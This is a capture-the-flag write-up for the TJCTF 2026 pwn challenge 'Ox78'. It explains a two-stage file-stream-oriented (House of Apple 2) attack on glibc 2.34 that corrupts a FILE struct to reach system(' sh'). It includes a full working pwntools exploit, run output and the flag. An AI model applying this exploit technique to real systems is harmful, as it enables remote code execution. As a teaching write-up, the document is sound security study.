← Back to Writeups

Ox78

Author: Jordan Lanham Event: TJCTF 2026 Category: pwn Date: May 15, 2026 Read Time: 9 minutes


Overview

A medium-difficulty FSOP (File-Stream-Oriented Programming) challenge. The binary opens /tmp/test.txt, prints both a heap leak (the FILE * itself) and a libc leak, then calls read(0, fp, 0x78) -- letting us overwrite the first 0x78 bytes of the FILE struct -- followed by fread(testbuf, 1, 0x78, fp). A "prevent_fsop" function tries to detect tampering but the check is broken (compares a value with itself), so it never actually trips.

We chain the FILE-struct corruption into the fread -> _IO_file_underflow primitive (which calls read(_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base) with attacker-controlled fields) to write a SECOND attacker-controlled buffer INTO the FILE struct itself. That second write installs a _IO_wfile_jumps vtable plus a fake _wide_data whose _wide_vtable->__doallocate points at system. At exit, _IO_flush_all walks the chain to our fp, calls _IO_wfile_overflow -> _IO_wdoallocbuf -> system(fp) -- and since fp's first bytes were rewritten to " sh\0", we get a shell.

Challenge Description

Oh the joys of file structs... nc tjc.tf 31378

Files provided: Ox78, libc.so.6 (glibc 2.34), ld-linux-x86-64.so.2, Dockerfile Endpoints: nc tjc.tf 31378

Initial Analysis

checksec Ox78:

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled

Full RELRO + IBT + SHSTK rules out GOT overwrite and classic ROP / JOP gadget abuse; we must stay within legitimate libio control flow.

Decompiled Ox78():

create_test_file();                              // open/close /tmp/test.txt
testbuf = malloc(0x78);
fp = fopen("/tmp/test.txt", "r");
puts(prompt);
printf("Here's the address of the File Structure: 0x%llx\n", fp);
printf("...libc leak as well: %p\n\n", puts_got_value);   // = libc.puts
read(0, fp, 0x78);                               // ATTACKER WRITE: first 0x78 of fp
prevent_fsop();
fread(testbuf, 1, 0x78, fp);                     // TRIGGERS the corrupted FILE
prevent_fsop();
return 0;

prevent_fsop (decompiled):

void prevent_fsop() {
    void *wd  = fp->_wide_data;         // first read
    void *vt  = fp->vtable;
    void *wd2 = fp->_wide_data;         // second read, same address
    void *vt2 = fp->vtable;
    if (wd != wd2 || vt != vt2) {       // can only differ across threads / signals
        *(int *)0 = 1;                  // NULL deref -> SIGSEGV
    }
    fp->_chain = 0;                     // <-- THIS is the real effect
}

The _wide_data and vtable checks always pass (they re-read the same memory back-to-back), but the side-effect that matters is fp->_chain = 0. Iteration of _IO_list_all at exit therefore stops AT fp -- standard "flush stdout last" House of Apple chains are blocked, but our fp is still the FIRST file in the list so it IS visited.

_IO_FILE_plus layout (glibc 2.34):

offset field
0x00 _flags
0x08 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48..0x67 various
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
...
0x88 _lock
0xa0 _wide_data
0xd8 vtable

Our 0x78-byte read covers offsets 0..0x77 -- everything up to but excluding _old_offset. In particular: _IO_buf_base, _IO_buf_end, _fileno, _chain all within range; _wide_data and vtable NOT directly writable. We need a secondary write to reach those.

fopen() allocates a locked_FILE struct: _IO_FILE_plus + _IO_lock_t + _IO_wide_data, contiguously. That means fp + 0xe8 is the start of fp's own _wide_data struct (in heap memory adjacent to fp). We use that as the known address of OUR fake wide_data.

Solution Approach

Step 1: Confirm the leaks

I'm trying to test my FSOP prevention mechanism so I can share it with my coworkers ...
Here's the address of the File Structure: 0x55a3...
I'm pretty confident you can't break out of this, ... libc leak as well: 0x7f38e19c3ed0

The libc leak is puts; subtract libc.sym['puts'] (= 0x84ed0) to get libc base. The heap leak gives us the FILE pointer (and therefore fp + 0xe8, the adjacent _IO_wide_data slot, for free).

Step 2: Stage 1 -- corrupt FILE to redirect fread's underflow at FP itself

After read(0, fp, 0x78), the corrupted fields drive fread which calls _IO_xsgetn -> _IO_file_underflow:

fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
count = _IO_SYSREAD(fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);
fp->_IO_read_end += count;
return *(unsigned char *)fp->_IO_read_ptr;

i.e. read(_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base). With _fileno = 0 and _IO_buf_base = fp, _IO_buf_end = fp + 0x1d0, the underflow's read syscall OVERWRITES the entire FILE struct AND the adjacent locked_FILE.wd. That's the primary primitive.

There are two _flags constraints to navigate:

  1. fread calls CHECK_FILE(fp, 0) which enforces (_flags & _IO_MAGIC_MASK) == _IO_MAGIC, i.e. high 16 bits = 0xfbad.
  2. _IO_file_underflow checks _flags & _IO_NO_READS == 0.

So stage-1's _flags = 0xfbad0000 clears all the read/no_writes/unbuffered bits AND keeps the magic.

Step 3: Stage 2 -- the payload swallowed by the underflow read

After underflow's syscall returns, glibc does fp->_IO_read_end += count. Crucially, glibc 2.34's _IO_new_file_underflow does NOT cache _IO_buf_base in a local before this addition: it re-reads fp->_IO_buf_base from memory that we JUST overwrote. And it ends with return *(unsigned char *)fp->_IO_read_ptr, again post-overwrite. So our stage-2 must place a safe readable value in fp->_IO_read_ptr (offset 0x08) -- or fread crashes immediately when it dereferences NULL. I use libc.address (start of libc) for that, since the ELF header is always readable.

The full stage-2 layout (0x1d0 bytes, written by the underflow into fp+0..0x1cf):

offset 0x00  : "_flags"  = b" sh\0"     (so system(fp) -> system(" sh") -> /bin/sh)
offset 0x08  : _IO_read_ptr  = libc.address    (safe readable)
offset 0x10  : _IO_read_end  = libc.address + 0x100
offset 0x20  : _IO_write_base = 0
offset 0x28  : _IO_write_ptr  = 1               (>base, so _IO_flush_all triggers our fp)
offset 0x88  : _lock = fp + 0xe0                (point at zeroed inline lock)
offset 0xa0  : _wide_data    = fp + 0xe8       (= adjacent locked_FILE.wd)
offset 0xc0  : _mode = 0                        (byte mode, so flush_all checks write_ptr)
offset 0xd8  : vtable        = _IO_wfile_jumps
offset 0xe0  : (locked_FILE.lock, zeroed)
offset 0xe8  : start of wd struct
  wd[0x18]   = 0   (write_base)               # so wfile_overflow takes the alloc branch
  wd[0x30]   = 0   (buf_base)                  # so wdoallocbuf actually calls __doallocate
  wd[0x68]   = system                          # fake_vtable[__doallocate slot]
offset 0x1c8 : wd->_wide_vtable = fp + 0xe8    (the wd itself acts as the fake vtable)

The fake vtable IS the wd region: setting wd->_wide_vtable = wd_addr means fake_vtable + 0x68 lands at wd[0x68], which we set to system.

Step 4: Exit-time control flow

exit -> _IO_cleanup -> _IO_flush_all_lockp
  -> for our fp: _mode<=0 and write_ptr > write_base -> _IO_OVERFLOW(fp,EOF)
     -> validate fp->vtable: _IO_wfile_jumps is in __libc_IO_vtables -> ok
     -> _IO_wfile_overflow(fp, EOF)
        -> wd->write_base == NULL || flags & CURRENTLY_PUTTING == 0  -> taken
        -> wd->buf_base == NULL -> call _IO_wdoallocbuf(fp)
           -> rax = fp->_wide_data  (= fp + 0xe8)
           -> rax = rax->_wide_vtable  (= fp + 0xe8 again)
           -> call *(rax + 0x68)  = system, with rdi = fp
              -> system(" sh") -> /bin/sh

fp[0..3] = " sh\0" -> _flags byte view = 0x00687320. Verification: & _IO_NO_WRITES (0x8) = 0; & _IO_UNBUFFERED (0x2) = 0; & _IO_CURRENTLY_PUTTING (0x800) = 0. All required bits clean. system reads the string at fp: bytes 0x20, 0x73, 0x68, 0x00 = " sh" followed by NUL. /bin/sh accepts leading whitespace -> drops to interactive shell.

Code / Exploit

Full working solver: _workspace/sol_ox78_v3.py

#!/usr/bin/env python3
from pwn import *
import struct, time

HOST, PORT = 'tjc.tf', 31378
libc = ELF('files/ox78__libc.so.6', checksec=False)

io = remote(HOST, PORT)
io.recvuntil(b'right?\n\n')
fp_addr   = int(io.recvuntil(b'\n').strip().split(b'0x')[1], 16)
puts_libc = int(io.recvuntil(b'\n').strip().split(b'0x')[1], 16)
libc.address = puts_libc - libc.symbols['puts']

wfile_jumps = libc.symbols['_IO_wfile_jumps']
system      = libc.symbols['system']

# Stage 1: read(0, fp, 0x78)
stage1  = p64(0xfbad0000)             # _flags: magic, no bad bits
stage1 += p64(0)*6                    # read/write ptrs/bases
stage1 += p64(fp_addr + 0x00)         # _IO_buf_base = fp (underflow target)
stage1 += p64(fp_addr + 0x1d0)        # _IO_buf_end
stage1 += p64(0)*5                    # save/backup/markers/chain
stage1 += p32(0) + p32(0)             # _fileno=0 (stdin), _flags2=0
assert len(stage1) == 0x78
io.send(stage1)

# Stage 2: 0x1d0 bytes swallowed by fread -> _IO_file_underflow -> read(0, fp, 0x1d0)
wd_addr   = fp_addr + 0xe8
lock_addr = fp_addr + 0xe0
stage2 = bytearray(b'\x00' * 0x1d0)
struct.pack_into('<4s', stage2, 0x00, b' sh\x00')               # _flags + system arg
struct.pack_into('<Q',  stage2, 0x08, libc.address)              # _IO_read_ptr: safe deref
struct.pack_into('<Q',  stage2, 0x10, libc.address + 0x100)
struct.pack_into('<Q',  stage2, 0x28, 1)                         # write_ptr > write_base
struct.pack_into('<Q',  stage2, 0x88, lock_addr)                 # _lock -> fp+0xe0
struct.pack_into('<Q',  stage2, 0xa0, wd_addr)                   # _wide_data -> fp+0xe8
struct.pack_into('<Q',  stage2, 0xd8, wfile_jumps)               # vtable
struct.pack_into('<Q',  stage2, 0xe8 + 0x68, system)             # fake_vtable[__doallocate]
struct.pack_into('<Q',  stage2, 0x1c8, wd_addr)                  # wd->_wide_vtable
io.send(bytes(stage2))

time.sleep(0.5)
io.sendline(b'cat /flag.txt; cat /app/flag.txt; cat /srv/app/flag.txt')
print(io.recvall(timeout=4).decode('latin-1'))
io.close()

Run:

$ python3 sol_ox78_v3.py
[+] fp        = 0x555578a31320
[+] libc.base = 0x7b939ecef000
SHELLOK
uid=1000(ubuntu) gid=1000(ubuntu)
tjctf{d0uBl3_FSoP_1s_fUN_29391}

Technical Details

  • Vulnerability class: FSOP / _IO_FILE struct overwrite
  • Primary primitive: read(0, fp, 0x78) -- raw stomp on FILE fields 0..0x77.
  • Secondary primitive: fread(...,fp) -> _IO_file_underflow whose read(_fileno, _IO_buf_base, len) is a 2nd attacker-controlled write reaching _wide_data (offset 0xa0), vtable (offset 0xd8), and the adjacent locked_FILE.wd struct (fp+0xe8..fp+0x1c7).
  • Vtable bypass: main vtable validated against __libc_IO_vtables, so we use _IO_wfile_jumps (legitimate). _wide_vtable is NOT validated -- House of Apple 2 reaches system through _IO_wdoallocbuf calling wide_data->_wide_vtable->__doallocate(fp).
  • Critical pitfall: glibc 2.34's _IO_new_file_underflow re-reads fp->_IO_buf_base, fp->_IO_read_end, and dereferences fp->_IO_read_ptr AFTER the SYSREAD overwrites the FILE. Your stage-2 MUST place a valid readable pointer at fp->_IO_read_ptr (offset 0x08) or the underflow crashes on its own return value.

Key Insights

  • "Mitigation" functions that re-read the same memory twice for "tamper detection" check absolutely nothing: read it once, write it, read it again -- both reads see the same (new) value. The check has to either hash to write-protected storage or read from a side-channel.
  • fopen's locked_FILE allocates _IO_FILE_plus + _IO_lock_t + _IO_wide_data in one chunk -- knowing the FILE pointer gives you the wide_data location for free.
  • House of Apple 2 stays viable in glibc 2.34/2.42 because _wide_vtable is not vtable-checked.
  • When the underflow re-reads fields AFTER the SYSREAD-overwrite, you must plant valid pointers at both the buffer-management fields AND the post- read state fields (_IO_read_ptr, _IO_read_end) of stage-2.
  • system(fp) needs fp[0..3] to (a) pass any _flags bit-checks on the exit-flush path, and (b) be the start of a valid shell command. " sh\0" satisfies both (UNBUFFERED/NO_WRITES/CURRENTLY_PUTTING all clear, and sh accepts leading whitespace).

The Flag

tjctf{d0uBl3_FSoP_1s_fUN_29391}

Resources